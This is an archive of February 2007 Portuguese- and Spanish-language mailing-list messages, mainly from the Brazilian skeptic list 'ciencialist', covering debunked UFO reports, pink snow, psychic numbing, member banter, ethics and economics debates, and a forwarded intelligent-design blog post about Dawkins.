TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 18/02/2007 12:24

Nieve rosa de las
montañas<http://marcianitosverdes.haaan.com/2007/02/nieve-rosa-de-las-montaas/>

<http://marcianitosverdes.haaan.com/wp-content/uploads/2007/02/windowslivewriternieverosadelasmontaas-1137cnieverosa13.jpg>Suponga
usted que se encuentra de vacaciones esquiando en Aspen, Chamonix,
Kitzbühel, Whistler o Zermatt, o tal vez haya escogido escalar alguna
montaña en la Sierra Nevada de California o en los Andes sudamericanos. De
pronto, mientras camina o se desliza por la nieve ve algunas manchas de
nieve "pintadas" de rosa. Se acerca y a medida que camina se da cuenta que
va dejando un rastro de huellas color rojo. Levanta las botas y ve que la
suela muestra un tinte carmesí. Seguro que será una gran sorpresa para
usted.

http://marcianitosverdes.haaan.com/2007/02/nieve-rosa-de-las-montaas/


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: ¿Agujero producido por ovnis?
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 18/02/2007 12:25

¿Agujero producido por
ovnis?<http://marcianitosverdes.haaan.com/2007/02/agujero-producido-por-ovnis/>

*Agujero en el hielo enciende la especulación sobre los ovnis*

<http://marcianitosverdes.haaan.com/wp-content/uploads/2007/02/windowslivewriteragujeroproducidoporovnis-149a0latvia23.jpg>Riga
-Un agujero en una charca congelada al norte de Latvia alcanzó
notoriedad inesperada el miércoles mientras que comenzaron a circular los
rumores de que fue creado por un objeto que cayó del espacio exterior.

http://marcianitosverdes.haaan.com/2007/02/agujero-producido-por-ovnis/


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Takata em Olinda
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/02/2007 14:12

Oi pessoal,

Flagrei o Takata desfilando no bloco das Virgens de Olinda, fantasiado
de queixa fodida e mal paga. Cena deplorável! Vejam o que o saquê é
capaz de fazer com um homem:

http://br.ph.groups.yahoo.com/group/ciencialist/photos/view/bb01?b=2

Abraços,
Manuel Bulcão



SUBJECT: RE: [ciencialist] Takata em Olinda
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/02/2007 18:57

Puxa vida!
O Takata é completamente diferente daquilo que eu pensava...
Não só moralmente, mas também visualmente!
Esta foto deveria ser confidencial mesmo p/a lista.
Eu, heim?!... Vc é um grande fofoqueiro, seu Pit-Bulcão.


>From: Manuel Bulcão <manuelbulcao@uol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] Takata em Olinda
>Date: Sun, 18 Feb 2007 16:12:13 -0000
>
>Oi pessoal,
>
>Flagrei o Takata desfilando no bloco das Virgens de Olinda, fantasiado
>de queixa fodida e mal paga. Cena deplorável! Vejam o que o saquê é
>capaz de fazer com um homem:
>
>http://br.ph.groups.yahoo.com/group/ciencialist/photos/view/bb01?b=2
>
>Abraços,
>Manuel Bulcão
>
>
>
>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.hpg.ig.com.br
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>




SUBJECT: RE: [ciencialist] Takata em Olinda
FROM: Sérgio <anaximao@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 18/02/2007 19:33

pensei q takata fosse nissei


--- murilo filo <avalanchedrive@hotmail.com> escreveu:

> Puxa vida!
> O Takata é completamente diferente daquilo que eu
> pensava...
> Não só moralmente, mas também visualmente!
> Esta foto deveria ser confidencial mesmo p/a lista.
> Eu, heim?!... Vc é um grande fofoqueiro, seu Pit-Bulcão.
>
>
> >From: Manuel Bulcão <manuelbulcao@uol.com.br>
> >Reply-To: ciencialist@yahoogrupos.com.br
> >To: ciencialist@yahoogrupos.com.br
> >Subject: [ciencialist] Takata em Olinda
> >Date: Sun, 18 Feb 2007 16:12:13 -0000
> >
> >Oi pessoal,
> >
> >Flagrei o Takata desfilando no bloco das Virgens de
> Olinda, fantasiado
> >de queixa fodida e mal paga. Cena deplorável! Vejam o
> que o saquê é
> >capaz de fazer com um homem:
> >
>
>http://br.ph.groups.yahoo.com/group/ciencialist/photos/view/bb01?b=2
> >
> >Abraços,
> >Manuel Bulcão
> >
> >
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> >##### ##### #####
> >
> >Página de apoio
> >http://www.ciencialist.hpg.ig.com.br
> >
> >
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> >Links do Yahoo! Grupos
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"Aquele que insiste em jamais dizer algo errado deve permanecer em silêncio" Werner Heisenberg

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SUBJECT: Re: A universalização dos valores morais
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/02/2007 00:23

--- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
> Sem considerar alguns tipos de mercado (monopolista,
> monopsônico...), as relações de troca mercantil são horizontais,

O problema é desconsiderar o monopolismo e outras tendências
olipolistas. A ideologia *mercantilista* é inerentemente monopolista
(a tese completa é longa e complexa, mas o resumo da ópera é "quem tem
mais ganha mais ainda", concentrando a riqueza). A igualdade de
condições só advém com o liberalismo - é necessária a constante
intervenção governamental para manter o q o titio Adam Smith tomou por
premissa (infinitos concorrentes, absoluta liberdade de entrar e sair
do mercado, igualdade de condições de competição, etc).

> O Cristianismo, por exemplo (religião sincrética derivada do
> monoteísmo judaico, do mitraísmo, do culto de Ísis - Ísis, assim
> como Maria, era considerada "a mãe de Deus" -, do platonismo e do
> estoicismo), institui a crença de que todos os homens são irmãos em
> Cristo.

E assim q cresceu...

Regra de ouro: todo mundo é igual qdo isso me beneficia (geralmente
isso ocorre qdo eu sou a minoria).

> Manuel: Sim, mas o liberalismo foi, a princípio, uma doutrina
> econômica advogada pelos intelectuais orgânicos da burguesia
> industrial, cuja principal causa foi a abolição da escravidão e a
> defesa da livre "contratação" da força-de-trabalho.

Da burguesia q queria superar o mercantilismo, posto q isso o
prejudicava - ficavam alijados dos nacos mais rentáveis, q ficava com
a coroa e seus beneficiários diretos.

> Manuel: Mesmo nas piores das circunstâncias - como a dos físicos
> soviéticos incubidos da tarefa de fabricar a bomba atômica
> comunista, mantidos por Béria em regime de prisão e sob constantes
> ameaças - a pesquisa científica só pode avançar se for assegurado
> aos cientistas liberdade de duvidar e de consentir, de elaborar
> hipóteses, de questionar essas mesmas hipóteses (tentar falseá-las)
> e de desconfiar dos dados da experiência. Isso é "autonomia
> individual" nos marcos do Laboratório.

Uma autonomia individual bastante restrita, não?

> Ademais, muitos dos avanços tecnológicos ocorridos da antiga URSS
> devem-se menos a inventividade dos seus cientistas (os melhores
> viviam confinados e incomunicáveis) e mais ao trabalho dos espiões.

Muitos dos avanços americanos (e franceses e ingleses) idem - o
programa espacial roubou os segredos nazistas de foguetes com o
seqüestro e cooptação de cientistas alemães. Abelardo Barbosa foi um
visionário.

[]s,

Roberto Takata



SUBJECT: Re: Takata em Olinda
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/02/2007 00:38

Intriga da oposição. A minha verdadeira foto:
http://tinyurl.com/2f8nxo

Nota: estou no ofurô (eu disse ofurô - oxítona, acento tônico na
última sílaba), mas é uma foto bem comportada.

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
> Puxa vida!
> O Takata é completamente diferente daquilo que eu pensava...
> Não só moralmente, mas também visualmente!
> Esta foto deveria ser confidencial mesmo p/a lista.
> Eu, heim?!... Vc é um grande fofoqueiro, seu Pit-Bulcão.
>
>
> >From: Manuel Bulcão <manuelbulcao@...>
> >Subject: [ciencialist] Takata em Olinda
> >Date: Sun, 18 Feb 2007 16:12:13 -0000
> >
> >Oi pessoal,
> >
> >Flagrei o Takata desfilando no bloco das Virgens de Olinda, fantasiado
> >de queixa fodida e mal paga. Cena deplorável! Vejam o que o saquê é
> >capaz de fazer com um homem:
> >
> >http://br.ph.groups.yahoo.com/group/ciencialist/photos/view/bb01?b=2
> >
> >Abraços,
> >Manuel Bulcão



SUBJECT: Takata querido...
FROM: LECarvalho <lecarvalho@infolink.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/02/2007 04:31

At 23:38 18/2/2007, you wrote:

>Intriga da oposição. A minha verdadeira foto:
><http://tinyurl.com/2f8nxo>http://tinyurl.com/2f8nxo
>
>Nota: estou no ofurô (eu disse ofurô - oxítona, acento tônico na
>última sílaba), mas é uma foto bem comportada.
>
>[]s,
>
>Roberto Takata




Como você é peludo, querido.

L.E.































=

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Fw: Feira de Ciencias
FROM: André Luis Ferreira da Silva Bacci <andrebacci.listas@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/02/2007 11:36

Luiz Ferraz Netto escreveu:
> Essa é para todos os assessores e não assessores.
> Essas informações serão cruciais mesmo para mim!

Não é exatamente o que procuram, mas é um começo.

http://www.inventores.com.br/

O pessoal que cuida da associação deve ter uma boa idéia de feiras e
eventos relacionados.

André


SUBJECT: O maior ralo do mundo
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 19/02/2007 12:20

O maior ralo do mundo <http://100nexos.com/arquivo/90>Published February
19th, 2007 in Imagens <http://100nexos.com/arquivo/category/imagens/>. 0
Comments <http://100nexos.com/arquivo/90#respond>

<http://fogonazos.blogspot.com/2007/02/largest-drain-hole-ever.html>
Parte da represa Monticello na Califórnia, EUA, este buraco de drenagem com
mais de vinte metros de diâmetro é o maior do planeta. Sério candidato para
o umbigo do mundo (outras partes anatômicas humanas aplicadas ao globo não
dariam muito certo). Mais imagens em
Fogonazos<http://fogonazos.blogspot.com/2007/02/largest-drain-hole-ever.html>
.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Uma criança morta é uma tragédia. Cem mil, é estatística
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 19/02/2007 12:22

Uma crian�a morta � uma trag�dia. Cem mil, �
estat�stica<http://100nexos.com/arquivo/92>Published
February 19th, 2007 in Ci�ncia<http://100nexos.com/arquivo/category/ciencia/>,
Id�ias <http://100nexos.com/arquivo/category/ideias/> and
Bizonho<http://100nexos.com/arquivo/category/bizonho/>
. 0 Comments <http://100nexos.com/arquivo/92#respond>


"*Se eu olho para uma massa [de pessoas], nunca tomarei uma atitude. Se
olhar para apenas uma, sim*". A frase de Teresa de Calcut� � citada pelo
psic�logo Paul Slovic em seu paper "If I Look at the Mass I Will Never
Act<http://www.decisionresearch.org/pdf/If_I_Look_At_The_Mass.pdf>"
(PDF) sobre o paradoxo da compaix�o humana:

"A maior parte das pessoas se importa e far� grandes esfor�os para salvar
v�timas individuais cujo apelo lhe alcance. As mesmas boas pessoas contudo
n�o raro se tornam indiferentes ao apelo de indiv�duos que s�o 'um entre
muitos' de um problema muito maior. Por que isto ocorre? A resposta a esta
quest�o nos ajudar� a responder a quest�o relacionado que � o t�pico deste
paper: Por que, ao longo do �ltimo s�culo, boas pessoas repetidamente
ignoraram assassinatos em massa e genoc�dios? (�) Isso requer explica��es
que podem refletir uma defici�ncia fundamental em nossa humanidade � uma
defici�ncia que, uma vez identificada, talvez possa ser superada".

Slovic cita estudos psicol�gicos e de percep��o e tra�a um paralelo
interessante. Nossa percep��o do
mundo<http://pt.wikipedia.org/wiki/Percep%C3%A7%C3%A3o>atrav�s dos
sentidos tem uma sensibilidade que pode ser tra�ada em uma lei
de pot�ncia. Varia��es pequenas em est�mulos pequenos s�o muito melhor
percebidas que as mesmas varia��es em est�mulos maiores. A maior parte dos
controles de volume t�m assim uma escala logar�tmica, assim voc� pode achar
que o volume dobrou, mas o som em verdade pode estar dezenas de vezes mais
intenso. N�o se sabe por que nosso sentidos funcionam assim (embora os
brasileiros OSame Kinouchi <http://comciencias.blogspot.com/> e Mauro
Copelli tenham sugerido uma
explica��o<http://www.comciencia.br/comciencia/?section=3&noticia=118>),
mas Kahneman e Tversky sugeriram em 1979 que a mesma dessensibiliza��o a
est�mulos de grande intensidade tamb�m poderia ocorrer na forma��o de
decis�es. Slovic et al realizaram um estudo em 1997 que documentou a
dessensibiliza��o progressiva ao valor da vida humana.

Acima, do paper de Slovic, o gr�fico � esquerda tra�a um modelo do valor que
poderia ser dado com rela��o ao n�mero de vidas em risco salvas se cada vida
tivesse o mesmo valor. J� o gr�fico do meio assume que quanto maior o n�mero
de vidas em risco salvas, maior o valor de cada vida salva porque grandes
perdas simult�neas poderiam afetar grandemente a sociedade. Mas a realidade
parece ser melhor descrita pelo gr�fico � direita. Quanto maior o n�mero de
vidas em risco, menor a sensibiliza��o provocada, menor o valor atribu�do a
cada vida. Diversos estudos citados por Slovic indicam que as pessoas dar�o
mais valor em ajudar um n�mero pequeno de pessoas em meio a uma popula��o
pequena do que a um n�mero muito maior de pessoas em uma popula��o maior
ainda. Como ele nota, embora possamos ficar comovidos com o sofrimento de
uma pessoa, n�o nos importaremos muito se o n�mero de pessoas salvas em um
acidente � de 87 ou 88.
Slovic prop�e que esta "defici�ncia fundamental em nossa humanidade" deve
ser superada confiando n�o apenas em nossas emo��es e sentimentos, mas em
respostas pol�ticas e institucionais baseadas em an�lise e argumentos
racionais.


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Foto autêntica do OVNI de O’Hare
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 19/02/2007 12:45

Foto autêntica do OVNI de O'Hare<http://www.ceticismoaberto.com/news/?p=852>

<http://strangegrub.blogspot.com/2007/02/real-ohare-ufo-photo.html>
Matt Graeber revela uma imagem exclusiva, inédita, bombástica e, claro,
falsa do OVNI do aeroporto de O'Hare. Se você não entendeu a brincadeira, é
porque perdeu uma das maiores histórias ufológicas recentes (que nosso blog
também não cobriu). Felizmente, uma consulta à cobertura completa de
Marcianitos Verdes<http://marcianitosverdes.haaan.com/2007/02/las-fotos-del-ovni-de-ohare/>pode
deixá-lo em dia com as últimas novidades. Este tem tudo para se tornar
um caso clássico, porque não há nenhuma evidência física e assim ninguém
sabe realmente o que diabos era o OVNI, embora haja várias explicações
plausíveis<http://marcianitosverdes.haaan.com/2007/01/el-ovni-de-ohare-un-fenmeno-meteorolgico/>
.

Postado em Ufologia <http://www.ceticismoaberto.com/news/?cat=2>,
Curiosidades <http://www.ceticismoaberto.com/news/?cat=7>,
Ceticismo<http://www.ceticismoaberto.com/news/?cat=12>| Por Mori |
Comente!
» <http://www.ceticismoaberto.com/news/?p=852#respond>

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explicada?<http://www.ceticismoaberto.com/news/?p=719>A foto acima
você já conhece. Em nos...


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Frota de OVNIs de ar quente sobre Londres
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 19/02/2007 13:13

Frota de OVNIs de ar quente sobre
Londres<http://www.ceticismoaberto.com/news/?p=853>


<http://www.islingtongazette.co.uk/content/islington/gazette/news/story.aspx?brand=ISLGOnline&category=news&tBrand=northlondon24&tCategory=newsislg&itemid=WeED02%20Feb%202007%2016%3A56%3A48%3A657>

"Dúzias de luzes misteriosas foram vistas sobrevoando o céu sobre Archway
[Londres] - espalhando o pânico entre residentes abaixo. Objetos voadores
laranjas não-identificados pararam o tráfego e deixaram os residentes
olhando para o céu em descrença"

Assim começa a nota do Islington Gazette que cita um corretor como
testemunha. Depois o mesmo jornal citaria várias
outras<http://www.islingtongazette.co.uk/content/islington/gazette/news/story.aspx?brand=ISLGOnline&category=news&tBrand=northlondon24&tCategory=newsislg&itemid=WeED07%20Feb%202007%2010%3A42%3A33%3A273>,
incluindo um diretor, e menciona os esforços do repórter em solucionar o
mistério, consultando todo tipo de organizações. Até que se consulta de
passagem Ian Ridpath, cético, que menciona que os OVNIs eram em verdade
balões de ar quente. Mas o jornalista não se dá por satisfeito, e logo cita
um ufólogo que menciona discrepâncias em testemunhos que balões de ar quente
não poderiam explicar. Tudo poderia ficar por isso mesmo, com céticos
sabendo que os OVNIs eram balões de ar quente e os testemunhos são sempre
discrepantes, a mídia buscando deixar o tema em aberto em busca de uma
suposta "imparcialidade" e cedendo espaço a ufólogos vendendo seu peixe, e a
população no meio de tudo simplesmente confusa.
Como Matt Graeber
nota<http://strangegrub.blogspot.com/2007/02/lights-over-archway-and-kings-lynn-and.html>,
a mídia nem mesmo relatou corretamente as datas e horários dos avistamentos.
Então a notícia no King's Lynn
Today<http://marcianitosverdes.haaan.com/2007/02/no-son-ovnis-sino-las-luces-del-amor/>pareceu
passar despercebida:

"As luzes eram em verdade lanternas em estilo chinês lançadas na recepção de
um casamento sendo realizado no restaurante Riverside da cidade, em King
Street. "Tínhamos permissão da polícia para lançá-los, assim não causamos
emergência em grande escala!", disse Pat Isbill, dona do restaurante. Diane
Breedon, funcionária, ficou surpresa ao descobrir que as lanternas eram um
assunto polêmico na ráido local. "Todas essas pessoas ligaram para a rádio
dizendo que tinham visto luzes laranjas no céu por volta das 5:30 da tarde,
e lembrei que é quando começamos a lançá-las. As pessoas estavam exagerando,
pensando que eram bombas de Marham ou naves alienígenas. Eu telefonei e
expliquei tudo".

E isso não é tudo. Uma olhada em um vídeo do
incidente<http://www.islingtongazette.co.uk/video/UFOfootage.aspx>é
mais uma prova conclusiva de que as luzes, que tantas testemunhas
descreveram como tudo, menos balões de ar quente, eram mesmo balões. A lição
número um na ufologia é a de que *testemunhos são valiosos, mas apenas como
auxílio na obtenção de evidência física concreta objetiva*. Qualquer um que
lhe diga o contrário não pratica ufologia, e sim alguma outra coisa que pode
ir desde religião, passando por pseudociência, e chegando mesmo ao
charlatanismo.

Postado em Ufologia <http://www.ceticismoaberto.com/news/?cat=2> | Por Mori
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Mais uma fotografia OVNI (atualização)
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 19/02/2007 13:18

Mais uma fotografia OVNI <http://www.ceticismoaberto.com/news/?p=847>

<http://www.ceticismoaberto.com/news/media/Imagem_070fdagfdagdsafdsa4q54.jpg>
A.M.S. nos enviou a imagem sem mais informações, clique para baixar o
arquivo original (com informações EXIF). Entramos em contato para conhecer
mais detalhes sobre a mesma, mas agradeceríamos desde já comentários e
análises.
*Atualização*: A.M.S. explica: "Esta foto foi tirada em Mauá SP por mim
mesmo da varanda da minha casa no dia 4 de outubro de 2004, e trata-se de
uma "Fraude" feita por mim, apenas se trata de uma arruela de prender telhas
de amianto pendurada por uma linha de pesca numa corda de varal que omiti na
foto (se vê até o bambu no lado esquerdo). Não mandei a foto para enganar
ninguém, apenas para mostrar que criar fraudes não é difícil e não devemos
acreditar em qualquer coisa que nos mostram, e para poder ajudar no futuro a
separar o "joio do trigo"".
E pode ajudar mesmo! Sabendo que a imagem é de uma arruela pendurada em um
varal, você pode encontrar evidências da "fraude"? Por exemplo, é claro que
o bambu tem a mesma aparência do suposto OVNI, sugerindo que estão à mesma
distância. Deve haver mais evidências, você pode encontrá-las?

Postado em Ufologia <http://www.ceticismoaberto.com/news/?cat=2>,
Extraterrestres <http://www.ceticismoaberto.com/news/?cat=10>,
Ceticismo<http://www.ceticismoaberto.com/news/?cat=12>| Por Mori | 1
Commentário » <http://www.ceticismoaberto.com/news/?p=847#comments>

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Gogh' para la 'Alerta OV...
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história O ufogenesi...


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SUBJECT: RE: [ciencialist] Re: Takata em Olinda
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/02/2007 17:43

Depilado vc ficou mais bunitim e de melhor humor...


>From: "rmtakata" <roberto.takata@bol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] Re: Takata em Olinda
>Date: Mon, 19 Feb 2007 02:38:03 -0000
>
>Intriga da oposição. A minha verdadeira foto:
>http://tinyurl.com/2f8nxo
>
>Nota: estou no ofurô (eu disse ofurô - oxítona, acento tônico na
>última sílaba), mas é uma foto bem comportada.
>
>[]s,
>
>Roberto Takata
>
>--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
> > Puxa vida!
> > O Takata é completamente diferente daquilo que eu pensava...
> > Não só moralmente, mas também visualmente!
> > Esta foto deveria ser confidencial mesmo p/a lista.
> > Eu, heim?!... Vc é um grande fofoqueiro, seu Pit-Bulcão.
> >
> >
> > >From: Manuel Bulcão <manuelbulcao@...>
> > >Subject: [ciencialist] Takata em Olinda
> > >Date: Sun, 18 Feb 2007 16:12:13 -0000
> > >
> > >Oi pessoal,
> > >
> > >Flagrei o Takata desfilando no bloco das Virgens de Olinda, fantasiado
> > >de queixa fodida e mal paga. Cena deplorável! Vejam o que o saquê é
> > >capaz de fazer com um homem:
> > >
> > >http://br.ph.groups.yahoo.com/group/ciencialist/photos/view/bb01?b=2
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> > >Abraços,
> > >Manuel Bulcão
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>http://www.ciencialist.hpg.ig.com.br
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>Links do Yahoo! Grupos
>
>




SUBJECT: Re: [ciencialist] Crueldade com animais
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/02/2007 18:20

Jose Renato, se eu levar vantagem e não ser
descoberto, é inteligente e racional sim. Esqueceu da
teoria dos jogos foi?? A não ser que ser altruísta
seja vantajoso para o agente racional.

Eu acreditava que voce estivesse entendendo o cerne da
questão mas parece que voce está querendo justificar a
não lei de gérson por senso comum. Boa sorte :p. Todo
mundo diz que não se deve transgredir as leis mas
quase ninguem entende o porquê das leis.

Este debate encerrou-se temporariamente. A não ser que
voce possua bons argumentos para ser "bonzinho" :-).



--- José Renato <jrma@terra.com.br> escreveu:

> Olá, Chicão! É por aí que nossa burrice nos leva a
> uma vida de faz-de-conta.
> Achamos que somos mais espertos que os outros. Eles
> sim devem cumprir as
> leis, eu faço o que quero tomando cuidado para que
> ninguém veja ou registre
> meus crimes. Desejo viver em paz mas não me esforço
> para construir uma
> comunidade de paz, nem na minha família. Mas quero
> que todos ajam comigo com
> toda a honestidade, critico e condeno quando alguém
> quer fazer comigo o
> mesmo que eu faço com outros, disfarçadamente. Vc
> pergunta: isso é ético?
> Pergunto eu: isso é racional? isso é inteligente?
> Abraços
> José Renato
> ............................................
>
> From: "Chicao Valadares" <chicaovaladares@To:
> <ciencialist@yahoogrupos.com.br>
> Sent: Tuesday, February 13, 2007 1:01 PM
> Subject: Re: [ciencialist] Crueldade com animais
>
>
> JR - Mas se não é divulgado, tudo bem! O que os
> olhos dos outros não vêem o
> que cometi, os
> corações piedosos nada sentem... E assim caminha a
> humanidade, nos enganando
> de que essa cultura da crueldade, mantida em segredo
> nas nossas atitudes
> pessoais e decisões particulares, só existe vez por
> outra, quando aparece em
> fotos chocantes nas manchetes dos jornais e nas
> imagens da TV.
>
> Chicão: Jose Renato, começou a aparecer alguma coisa
> interessante nos seus
> comentários embora Homero o critique. Não devo agir
> mal porque não sou burro
> já que agindo mal de alguma forma serei punido por
> isso. Se é esse o
> príncipio que norteia o comportamento da nossa
> sociedade então se eu
> conseguir evitar essa punição, tudo me é permitido.
> Maridos e esposas desta
> lista, traiam a vontade!!!Desde que façam de uma
> forma que não sejam pegos.
> Filhos que lêem essa mensagem podem roubar dinheiro
> da carteira de seus
> pais desde que eles não percebam!!!
> Isso é ético???
>
>
> > "O Binômio de Newton é tão belo como a Vênus de
> Milo.
> > O que há é pouca gente para dar por isso... "
> > Fernando Pessoa - Poesias de Alvaro Campos
>
>


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Dawkins 'falou e disse' porque estudar Zoologia: "Design Inteligente"!
FROM: "Joaquim de Campos Salles" <joaquimsalles@ibest.com.br>
TO: <ciencialist@yahoogrupos.com.br>
CC: <strbrasil@yahoogrupos.com.br>
DATE: 19/02/2007 21:54

Olá Pessoal,

Recebi o post abaixo. Design inteligente não é uma forma de criacionismo? Dawkins inspirou isso?!?!?!?!?!?

Abraços confusos

Joaquim


http://pos-darwinista.blogspot.com/2006/05/dawkins-falou-e-disse-porque-estudar.html


Dawkins 'falou e disse' porque estudar Zoologia: "Design Inteligente"!

Por que alguém privilegiaria o estudo da Zoologia em detrimento de outras áreas biológicas também importantes? Bem, subjetividade à parte, eu também acho fascinante esta área de estudos biológicos, mas eu estou em outra - História e Teoria da Ciência. Para desespero da Nomenklatura científica e dos ultradarwinistas fundamentalistas, diga-se de passagem.

Eu nem sei o que a Nomenklatura científica e seus mais cegos 'discípulos' vão alegar, mas deve ser mais ou menos assim - 'Isso é uma campanha difamatória'; 'Foi um pequeno lapso'; 'Estão citando fora de contexto', 'É mais uma conspiração contra a verdadeira ciência'.

Senhores, e especialmente os meninos, fiquem calmos. Afinal de contas, teve até aval de uma das mais importantes universidade pública brasileira - a USP, mas quem disse a frase abaixo incentivando os estudantes a escolher a Zoologia como área de estudos e pesquisas, Paley, Behe ou Dembski?

"O terceiro leitor que tive em mente [sic] foi o estudante, realizando a transição de leigo para o especialista. Se ele ainda não se decidiu em que campo quer se especializar, espero encorajá-lo a considerar meu próprio campo da Zoologia. Há uma razão melhor [sic] para estudar a Zoologia do que sua possível 'utilidade' e estima que os animais provocam [sic]. Esta razão é que nós animais somos as máquinas mais complicadas e perfeitamente planejadas [sic] do universo conhecido. Apresentada desta forma [sic], é difícil entender como alguém pode estudar qualquer outra coisa!"

Prontos para a notícia chocante? Revisores da USP, o que foi que houve? Vocês cochilaram na função de 'guarda-cancelas epistemológicos'? Quem registrou isso foi ninguém nada menos do que RICHARD DAWKINS, prefaciando seu livro "O Gene Egoísta", Belo Horizonte/São Paulo: Itatiaia e Editora da Universidade de São Paulo, 1989, p. 18.

Isso se deu originalmente em 1979 quando o livro foi publicado na Inglaterra, uma década bem antes de Behe, Dembski terem lançado a Teoria do Design Inteligente.

Por favor, me entendam - não estou afirmando que Dawkins é 'precursor' da teoria do design moderna, mas eu fico impressionado como que ele, como os demais biólogos, não consegue se livrar da realidade e da detecção de design inteligente na natureza.

No seu livro "O Relojoeiro Cego", São Paulo: Companhia das Letras, 2001, p. 18, ele escreveu:

"A biologia é o estudo das coisas complexas que dão a impressão de ter um design intencional".
1
Vocês já perceberam a fixação cabalística com a página 18 nos livros de Dawkins no Brasil? Deve ser um número de sorte. Ou azar...

Contudo, apesar de suas 488 páginas, ao contrário de Dembski (filtro explanatório para detectar design), Dawkins não nos disse qual é o método científico adotado para 'detectar' a ilusão de design intencional. Como detectar 'ilusão' deve ser objeto epistêmico para uma 'teoria do tudo da evolução'...

Os que participaram da augusta comissão editorial científica da USP devem ter ficado corados. Desculpem-me, alguns já podem até estar mortos, mas fica aqui o registro post-mortem de que vocês falharam clamorosamente com a Nomenklatura científica! E ela não perdoa, por ser stalinista!

Fui, mas deixo um abraço fraterno a todos. Este blogger está passando por um processo 'evolutivo' no modo de escrever, mas não deixará de lado a ironia à la Bernard Shaw, Mark Twain, e do nosso único e verdadeiro imortal - o barão de Itararé!

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: [Logica-l] [OFF] Is there science beyond English?
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/02/2007 23:38

Para quem tinha alguma dúvida...

Vale a pena ler também
http://www.nature.com/embor/journal/v8/n2/full/7400906.html , citado no
texto.

[ ]s

Alvaro Augusto



Para inglês ver e ler

Publicar em língua nativa ainda é ver seu trabalho em periódicos de
impacto inferior

Não há escapatória: a "lingua franca" da ciência hoje é o inglês. Quem
quiser ser visto e lido tem de dominar pelo menos o inglês científico,
um patoá escrito que não faz jus à língua materna de Shakespeare. É
fato, não boato: prosa científica é um troço chato.
Para se render à constatação, porém, não é necessário agachar-se. No
Brasil, andou grassando a mania dos nomes anglófilos para tudo. Já
houve até uma Organization for Nucleotide Sequencing and Analysis
(Onsa, ou Organização para Seqüenciamento e Análise de Nucleotídeos,
protagonista do projeto genoma bandeirante). Publicar em inglês
